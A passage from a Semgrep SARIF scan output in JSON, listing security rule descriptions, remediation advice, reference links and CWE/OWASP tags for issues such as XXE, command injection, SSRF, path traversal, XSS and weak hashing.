`$FACTORY.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)` `$FACTORY.setFeature(\"http://xml.org/sax/features/external-general-entities\", false)` `$PARSER.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.xxe.saxparserfactory-xxe.saxparserfactory-xxe)\n - [https://semgrep.dev/blog/2022/xml-security-in-java](https://semgrep.dev/blog/2022/xml-security-in-java)\n - [https://semgrep.dev/docs/cheat-sheets/java-xxe/](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n - [https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E](https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E)\n - [https://github.com/semgrep/java-xxe-research](https://github.com/semgrep/java-xxe-research)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)\n - [https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755](https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755)\n - [https://blog.sonarsource.com/secure-xml-processor/](https://blog.sonarsource.com/secure-xml-processor/)\n - [https://blog.sonarsource.com/understanding-xxe-vulnerabilities/](https://blog.sonarsource.com/understanding-xxe-vulnerabilities/)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. It is our recommendation to secure this parser against XXE attacks by configuring $FACTORY with `$FACTORY.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `$FACTORY.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)` `$FACTORY.setFeature(\"http://xml.org/sax/features/external-general-entities\", false)` `$PARSER.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"helpUri":"https://semgrep.dev/r/java.lang.security.xxe.saxparserfactory-xxe.saxparserfactory-xxe","id":"java.lang.security.xxe.saxparserfactory-xxe.saxparserfactory-xxe","name":"java.lang.security.xxe.saxparserfactory-xxe.saxparserfactory-xxe","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","CWE-776: Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')","MEDIUM CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.xxe.saxparserfactory-xxe.saxparserfactory-xxe"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"A formatted or concatenated string was detected as input to a java.lang.Runtime call. This is dangerous if a variable is controlled by user input and could result in a command injection. Ensure your variables are not controlled by users or sufficiently sanitized."},"help":{"markdown":"A formatted or concatenated string was detected as input to a java.lang.Runtime call. This is dangerous if a variable is controlled by user input and could result in a command injection. Ensure your variables are not controlled by users or sufficiently sanitized.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.command-injection-formatted-runtime-call.command-injection-formatted-runtime-call)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"A formatted or concatenated string was detected as input to a java.lang.Runtime call. This is dangerous if a variable is controlled by user input and could result in a command injection. Ensure your variables are not controlled by users or sufficiently sanitized."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.command-injection-formatted-runtime-call.command-injection-formatted-runtime-call","id":"java.lang.security.audit.command-injection-formatted-runtime-call.command-injection-formatted-runtime-call","name":"java.lang.security.audit.command-injection-formatted-runtime-call.command-injection-formatted-runtime-call","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","LOW CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.command-injection-formatted-runtime-call.command-injection-formatted-runtime-call"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The following request $REQUEST.$METHOD() was found to be crafted from user-input `$REQ` which can lead to Server-Side Request Forgery (SSRF) vulnerabilities. It is recommended where possible to not allow user-input to craft the base request, but to be treated as part of the path or query parameter. When user-input is necessary to craft the request, it is recommeneded to follow OWASP best practices to prevent abuse. "},"help":{"markdown":"The following request $REQUEST.$METHOD() was found to be crafted from user-input `$REQ` which can lead to Server-Side Request Forgery (SSRF) vulnerabilities. It is recommended where possible to not allow user-input to craft the base request, but to be treated as part of the path or query parameter. When user-input is necessary to craft the request, it is recommeneded to follow OWASP best practices to prevent abuse. \n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.security.audit.express-ssrf.express-ssrf)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html)\n","text":"The following request $REQUEST.$METHOD() was found to be crafted from user-input `$REQ` which can lead to Server-Side Request Forgery (SSRF) vulnerabilities. It is recommended where possible to not allow user-input to craft the base request, but to be treated as part of the path or query parameter. When user-input is necessary to craft the request, it is recommeneded to follow OWASP best practices to prevent abuse. "},"helpUri":"https://semgrep.dev/r/javascript.express.security.audit.express-ssrf.express-ssrf","id":"javascript.express.security.audit.express-ssrf.express-ssrf","name":"javascript.express.security.audit.express-ssrf.express-ssrf","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","MEDIUM CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.security.audit.express-ssrf.express-ssrf"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module)."},"help":{"markdown":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.mysql2.ruby-mysql2-empty-password.ruby-mysql2-empty-password)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module)."},"helpUri":"https://semgrep.dev/r/ruby.mysql2.ruby-mysql2-empty-password.ruby-mysql2-empty-password","id":"ruby.mysql2.ruby-mysql2-empty-password.ruby-mysql2-empty-password","name":"ruby.mysql2.ruby-mysql2-empty-password.ruby-mysql2-empty-password","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.mysql2.ruby-mysql2-empty-password.ruby-mysql2-empty-password"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"setMultipleAllowances() is missing onlyOwner modifier"},"help":{"markdown":"setMultipleAllowances() is missing onlyOwner modifier\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/solidity.security.rigoblock-missing-access-control.rigoblock-missing-access-control)\n - [https://twitter.com/danielvf/status/1494317265835147272](https://twitter.com/danielvf/status/1494317265835147272)\n - [https://etherscan.io/address/0x876b9ebd725d1fa0b879fcee12560a6453b51dc8](https://etherscan.io/address/0x876b9ebd725d1fa0b879fcee12560a6453b51dc8)\n - [https://play.secdim.com/game/dapp/challenge/rigoownsol](https://play.secdim.com/game/dapp/challenge/rigoownsol)\n","text":"setMultipleAllowances() is missing onlyOwner modifier"},"helpUri":"https://semgrep.dev/r/solidity.security.rigoblock-missing-access-control.rigoblock-missing-access-control","id":"solidity.security.rigoblock-missing-access-control.rigoblock-missing-access-control","name":"solidity.security.rigoblock-missing-access-control.rigoblock-missing-access-control","properties":{"precision":"very-high","tags":["CWE-284: Improper Access Control","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: solidity.security.rigoblock-missing-access-control.rigoblock-missing-access-control"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Found request data in a call to 'open'. Ensure the request data is validated or sanitized, otherwise it could result in path traversal attacks and therefore sensitive data being leaked. To mitigate, consider using os.path.abspath or os.path.realpath or the pathlib library."},"help":{"markdown":"Found request data in a call to 'open'. Ensure the request data is validated or sanitized, otherwise it could result in path traversal attacks and therefore sensitive data being leaked. To mitigate, consider using os.path.abspath or os.path.realpath or the pathlib library.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.security.injection.path-traversal.path-traversal-open.path-traversal-open)\n - [https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n","text":"Found request data in a call to 'open'. Ensure the request data is validated or sanitized, otherwise it could result in path traversal attacks and therefore sensitive data being leaked. To mitigate, consider using os.path.abspath or os.path.realpath or the pathlib library."},"helpUri":"https://semgrep.dev/r/python.django.security.injection.path-traversal.path-traversal-open.path-traversal-open","id":"python.django.security.injection.path-traversal.path-traversal-open.path-traversal-open","name":"python.django.security.injection.path-traversal.path-traversal-open.path-traversal-open","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","MEDIUM CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.security.injection.path-traversal.path-traversal-open.path-traversal-open"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. To prevent this vulnerability, validate URLs and their protocol before using them in your codebase."},"help":{"markdown":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. To prevent this vulnerability, validate URLs and their protocol before using them in your codebase.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/typescript.react.react-href-url.react-href-url)\n - [https://github.com/segmentio/ui-box/blob/master/src/utils/safeHref.ts](https://github.com/segmentio/ui-box/blob/master/src/utils/safeHref.ts)\n","text":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. To prevent this vulnerability, validate URLs and their protocol before using them in your codebase."},"helpUri":"https://semgrep.dev/r/typescript.react.react-href-url.react-href-url","id":"typescript.react.react-href-url.react-href-url","name":"typescript.react.react-href-url.react-href-url","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","HIGH CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: typescript.react.react-href-url.react-href-url"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Checks for requests to http (unencrypted) sites using gorequest, a popular HTTP client library. This is dangerous because it could result in plaintext PII being passed around the network."},"help":{"markdown":"Checks for requests to http (unencrypted) sites using gorequest, a popular HTTP client library. This is dangerous because it could result in plaintext PII being passed around the network.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/problem-based-packs.insecure-transport.go-stdlib.sling-http-request.sling-http-request)\n - [https://godoc.org/github.com/dghubble/sling#Sling.Add](https://godoc.org/github.com/dghubble/sling#Sling.Add)\n - [https://github.com/dghubble/sling](https://github.com/dghubble/sling)\n","text":"Checks for requests to http (unencrypted) sites using gorequest, a popular HTTP client library. This is dangerous because it could result in plaintext PII being passed around the network."},"helpUri":"https://semgrep.dev/r/problem-based-packs.insecure-transport.go-stdlib.sling-http-request.sling-http-request","id":"problem-based-packs.insecure-transport.go-stdlib.sling-http-request.sling-http-request","name":"problem-based-packs.insecure-transport.go-stdlib.sling-http-request.sling-http-request","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","MEDIUM CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: problem-based-packs.insecure-transport.go-stdlib.sling-http-request.sling-http-request"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Found potentially unsafe handling of redirect behavior $X. Do not pass `params` to `redirect_to` without the `:only_path => true` hash value."},"help":{"markdown":"Found potentially unsafe handling of redirect behavior $X. Do not pass `params` to `redirect_to` without the `:only_path => true` hash value.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.rails.security.brakeman.check-redirect-to.check-redirect-to)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html)\n","text":"Found potentially unsafe handling of redirect behavior $X. Do not pass `params` to `redirect_to` without the `:only_path => true` hash value."},"helpUri":"https://semgrep.dev/r/ruby.rails.security.brakeman.check-redirect-to.check-redirect-to","id":"ruby.rails.security.brakeman.check-redirect-to.check-redirect-to","name":"ruby.rails.security.brakeman.check-redirect-to.check-redirect-to","properties":{"precision":"very-high","tags":["CWE-601: URL Redirection to Untrusted Site ('Open Redirect')","MEDIUM CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.rails.security.brakeman.check-redirect-to.check-redirect-to"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. It is our recommendation to secure this parser against XXE attacks by configuring $FACTORY with `$FACTORY.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `$FACTORY.setExpandEntityReferences(false)` `$FACTORY.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)` `$FACTORY.setAttribute(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")` `$FACTORY.setFeature(\"http://xml.org/sax/features/external-general-entities\", false)`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. It is our recommendation to secure this parser against XXE attacks by configuring $FACTORY with `$FACTORY.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `$FACTORY.setExpandEntityReferences(false)` `$FACTORY.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)` `$FACTORY.setAttribute(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")` `$FACTORY.setFeature(\"http://xml.org/sax/features/external-general-entities\", false)`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.xxe.documentbuilderfactory-xxe-parse.documentbuilderfactory-xxe-parse)\n - [https://blog.sonarsource.com/secure-xml-processor/](https://blog.sonarsource.com/secure-xml-processor/)\n - [https://blog.sonarsource.com/understanding-xxe-vulnerabilities/](https://blog.sonarsource.com/understanding-xxe-vulnerabilities/)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)\n - [https://cwe.mitre.org/data/definitions/611.html](https://cwe.mitre.org/data/definitions/611.html)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n - [https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E](https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E)\n - [https://github.com/semgrep/java-xxe-research](https://github.com/semgrep/java-xxe-research)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n - [https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755](https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. It is our recommendation to secure this parser against XXE attacks by configuring $FACTORY with `$FACTORY.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `$FACTORY.setExpandEntityReferences(false)` `$FACTORY.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)` `$FACTORY.setAttribute(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")` `$FACTORY.setFeature(\"http://xml.org/sax/features/external-general-entities\", false)`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"helpUri":"https://semgrep.dev/r/java.lang.security.xxe.documentbuilderfactory-xxe-parse.documentbuilderfactory-xxe-parse","id":"java.lang.security.xxe.documentbuilderfactory-xxe-parse.documentbuilderfactory-xxe-parse","name":"java.lang.security.xxe.documentbuilderfactory-xxe-parse.documentbuilderfactory-xxe-parse","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","HIGH CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.xxe.documentbuilderfactory-xxe-parse.documentbuilderfactory-xxe-parse"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. In Flask apps, consider using the Werkzeug util `werkzeug.utils.secure_filename()` to sanitize paths and filenames."},"help":{"markdown":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. In Flask apps, consider using the Werkzeug util `werkzeug.utils.secure_filename()` to sanitize paths and filenames.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.file.tainted-path-traversal-aiofile-flask.tainted-path-traversal-aiofile-flask)\n - [https://flask.palletsprojects.com/en/2.3.x/patterns/fileuploads/](https://flask.palletsprojects.com/en/2.3.x/patterns/fileuploads/)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n - [https://portswigger.net/web-security/file-path-traversal](https://portswigger.net/web-security/file-path-traversal)\n - [https://werkzeug.palletsprojects.com/en/3.0.x/utils/#werkzeug.utils.secure_filename](https://werkzeug.palletsprojects.com/en/3.0.x/utils/#werkzeug.utils.secure_filename)\n","text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. In Flask apps, consider using the Werkzeug util `werkzeug.utils.secure_filename()` to sanitize paths and filenames."},"helpUri":"https://semgrep.dev/r/python.flask.file.tainted-path-traversal-aiofile-flask.tainted-path-traversal-aiofile-flask","id":"python.flask.file.tainted-path-traversal-aiofile-flask.tainted-path-traversal-aiofile-flask","name":"python.flask.file.tainted-path-traversal-aiofile-flask.tainted-path-traversal-aiofile-flask","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.file.tainted-path-traversal-aiofile-flask.tainted-path-traversal-aiofile-flask"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected possible formatted SQL query. Use parameterized queries instead."},"help":{"markdown":"Detected possible formatted SQL query. Use parameterized queries instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.audit.formatted-sql-query.formatted-sql-query)\n - [https://stackoverflow.com/questions/775296/mysql-parameterized-queries](https://stackoverflow.com/questions/775296/mysql-parameterized-queries)\n","text":"Detected possible formatted SQL query. Use parameterized queries instead."},"helpUri":"https://semgrep.dev/r/python.lang.security.audit.formatted-sql-query.formatted-sql-query","id":"python.lang.security.audit.formatted-sql-query.formatted-sql-query","name":"python.lang.security.audit.formatted-sql-query.formatted-sql-query","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","LOW CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.audit.formatted-sql-query.formatted-sql-query"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Found an insecure gRPC connection using 'insecure.NewCredentials()'. This creates a connection without encryption to a gRPC server. A malicious attacker could tamper with the gRPC message, which could compromise the machine. Instead, establish a secure connection with an SSL certificate using the 'grpc.WithTransportCredentials()' function. You can create a create credentials using a 'tls.Config{}' struct with 'credentials.NewTLS()'. The final fix looks like this: 'grpc.WithTransportCredentials(credentials.NewTLS(<config>))'."},"help":{"markdown":"Found an insecure gRPC connection using 'insecure.NewCredentials()'. This creates a connection without encryption to a gRPC server. A malicious attacker could tamper with the gRPC message, which could compromise the machine. Instead, establish a secure connection with an SSL certificate using the 'grpc.WithTransportCredentials()' function. You can create a create credentials using a 'tls.Config{}' struct with 'credentials.NewTLS()'. The final fix looks like this: 'grpc.WithTransportCredentials(credentials.NewTLS(<config>))'.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.grpc.tls.grpc-client-new-insecure-connection.grpc-client-new-insecure-connection)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"Found an insecure gRPC connection using 'insecure.NewCredentials()'. This creates a connection without encryption to a gRPC server. A malicious attacker could tamper with the gRPC message, which could compromise the machine. Instead, establish a secure connection with an SSL certificate using the 'grpc.WithTransportCredentials()' function. You can create a create credentials using a 'tls.Config{}' struct with 'credentials.NewTLS()'. The final fix looks like this: 'grpc.WithTransportCredentials(credentials.NewTLS(<config>))'."},"helpUri":"https://semgrep.dev/r/go.grpc.tls.grpc-client-new-insecure-connection.grpc-client-new-insecure-connection","id":"go.grpc.tls.grpc-client-new-insecure-connection.grpc-client-new-insecure-connection","name":"go.grpc.tls.grpc-client-new-insecure-connection.grpc-client-new-insecure-connection","properties":{"precision":"very-high","tags":["CWE-300: Channel Accessible by Non-Endpoint","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: go.grpc.tls.grpc-client-new-insecure-connection.grpc-client-new-insecure-connection"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"EC2 instances should not have a public IP address attached in order to block public access to the instances. To fix this, set your `associate_public_ip_address` to `\"false\"`."},"help":{"markdown":"EC2 instances should not have a public IP address attached in order to block public access to the instances. To fix this, set your `associate_public_ip_address` to `\"false\"`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.aws-ec2-has-public-ip.aws-ec2-has-public-ip)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n","text":"EC2 instances should not have a public IP address attached in order to block public access to the instances. To fix this, set your `associate_public_ip_address` to `\"false\"`."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.aws-ec2-has-public-ip.aws-ec2-has-public-ip","id":"terraform.aws.security.aws-ec2-has-public-ip.aws-ec2-has-public-ip","name":"terraform.aws.security.aws-ec2-has-public-ip.aws-ec2-has-public-ip","properties":{"precision":"very-high","tags":["CWE-284: Improper Access Control","MEDIUM CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.aws-ec2-has-public-ip.aws-ec2-has-public-ip"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"This call makes a world-writable file which allows any user on a machine to write to the file. This may allow attackers to influence the behaviour of this process by writing to the file."},"help":{"markdown":"This call makes a world-writable file which allows any user on a machine to write to the file. This may allow attackers to influence the behaviour of this process by writing to the file.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/cpp.lang.security.filesystem.world-writable-file.world-writable-file)\n - [https://wiki.sei.cmu.edu/confluence/display/c/FIO06-C.+Create+files+with+appropriate+access+permissions](https://wiki.sei.cmu.edu/confluence/display/c/FIO06-C.+Create+files+with+appropriate+access+permissions)\n","text":"This call makes a world-writable file which allows any user on a machine to write to the file. This may allow attackers to influence the behaviour of this process by writing to the file."},"helpUri":"https://semgrep.dev/r/cpp.lang.security.filesystem.world-writable-file.world-writable-file","id":"cpp.lang.security.filesystem.world-writable-file.world-writable-file","name":"cpp.lang.security.filesystem.world-writable-file.world-writable-file","properties":{"precision":"very-high","tags":["CWE-732: Incorrect Permission Assignment for Critical Resource","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: cpp.lang.security.filesystem.world-writable-file.world-writable-file"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected SHA1 hash algorithm which is considered insecure. SHA1 is not collision resistant and is therefore not suitable as a cryptographic signature. Instead, use PBKDF2 for password hashing or SHA256 or SHA512 for other hash function applications."},"help":{"markdown":"Detected SHA1 hash algorithm which is considered insecure. SHA1 is not collision resistant and is therefore not suitable as a cryptographic signature. Instead, use PBKDF2 for password hashing or SHA256 or SHA512 for other hash function applications.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/clojure.lang.security.use-of-sha1.use-of-sha1)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Cryptographic_Storage_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Cryptographic_Storage_Cheat_Sheet.html)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Password_Storage_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Password_Storage_Cheat_Sheet.html)\n","text":"Detected SHA1 hash algorithm which is considered insecure. SHA1 is not collision resistant and is therefore not suitable as a cryptographic signature. Instead, use PBKDF2 for password hashing or SHA256 or SHA512 for other hash function applications."},"helpUri":"https://semgrep.dev/r/clojure.lang.security.use-of-sha1.use-of-sha1","id":"clojure.lang.security.use-of-sha1.use-of-sha1","name":"clojure.lang.security.use-of-sha1.use-of-sha1","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","CWE-328: Use of Weak Hash","HIGH 